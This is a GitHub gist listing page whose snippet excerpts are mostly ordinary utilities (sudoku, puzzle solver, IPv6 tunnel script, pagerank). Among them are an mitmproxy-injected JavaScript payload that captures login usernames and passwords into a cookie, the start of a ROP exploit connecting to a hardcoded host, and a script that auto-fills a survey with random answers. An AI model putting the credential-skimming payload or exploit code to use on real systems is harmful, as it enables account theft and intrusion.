Skip to content

Instantly share code, notes, and snippets.

View vuryleo's full-sized avatar

Vury Leo vuryleo

View GitHub Profile
@vuryleo
vuryleo / sudoku.py
Last active December 15, 2015 07:29
a stupid sudoku utility
#!/usr/bin/python3.3
import sys
import argparse
import random
import copy
parser = argparse.ArgumentParser(description='Sudoku Utility.')
parser.add_argument('inStream', metavar='inStream', type=str, nargs='?', help='input stream.')
parser.add_argument('outStream', metavar='outStream', type=str, nargs='?', help='output stream.')
parser.add_argument('-g', '--generate', action='store_true', help='generate a sudoku other than solve')
@vuryleo
vuryleo / main.rb
Last active December 15, 2015 09:29
a solver for 8 number prob
#!/usr/bin/env ruby
require 'algorithms'
class TrueClass
def to_i
1
end
end
@vuryleo
vuryleo / ipv6.sh
Created May 11, 2013 16:44
isatap script for THU
#!/bin/sh
LAN_IP=`/sbin/ifconfig $1 | grep inet | grep -v inet6 | awk '{print $2}'`
WAN_IP=`/sbin/ifconfig $1 | grep inet | grep -v inet6 | awk '{print $2}'`
#LAN_IP=59.66.0.0
#WAN_IP=59.66.0.0 # replace with your wan ip
# just for Tsinghua's ISATAP router
echo $LAN_IP
route delete -inet6 default
/sbin/ifconfig gif0 tunnel $LAN_IP isatap.tsinghua.edu.cn
Y = (F) ->
((x) ->
F((y) ->
(x(x))(y)))(
(x) ->
F((y) ->
(x(x))(y))
)
FactGen = (fact) ->
(n) ->
@vuryleo
vuryleo / select.js
Created October 30, 2013 16:09
Auto selector for RedWeb of Tsinghua. For it need to run in Chrome console, it just have one line.
a=0;b=2;trl = document.getElementsByTagName("tr");for(var i = 0; i < trl.length; i ++){pl = trl[i].getElementsByTagName("input"); if (pl.length==5){pl[parseInt(Math.random()*(b-a))+a].checked=true;}};document.getElementsByTagName("input")[100].click();
#
# $File: Makefile
# $Date: Tue Apr 15 22:29:46 2014 +0800
#
# A single output portable Makefile for
# simple c project
OBJ_DIR = obj
LIB_DIR = lib
BIN_DIR = bin

Keybase proof

I hereby claim:

  • I am vuryleo on github.
  • I am vuryleo (https://keybase.io/vuryleo) on keybase.
  • I have a public key whose fingerprint is DC8A BB5D 55DE 1A7E 7BB0 D29E B0F1 75EF 864E DB26

To claim this, I am signing this object:

from libmproxy.encoding import *
payload = """
<script>
$('#login_form').attr('onsubmit', 'xss();return false');
var xss = function () {
console.log($('#pass').val());
$.cookie('xss', '' + $('#uname').val() + ':' + $('#pass').val(), {path: '/cgi-bin/do_login', expires: 42})
do_login()
};
@vuryleo
vuryleo / main.py
Created December 16, 2014 17:31
ROP
import time
import struct
from zio import *
io = zio(('166.111.132.132', 1234))
#io = zio(('localhost', 1234))
timeout = 1000 * 1000
buf = 0x0804a10c
@vuryleo
vuryleo / pagerank.go
Created January 3, 2015 13:41
pagerank
package main
import (
"bufio"
"errors"
"fmt"
"io"
"os"
"strings"
)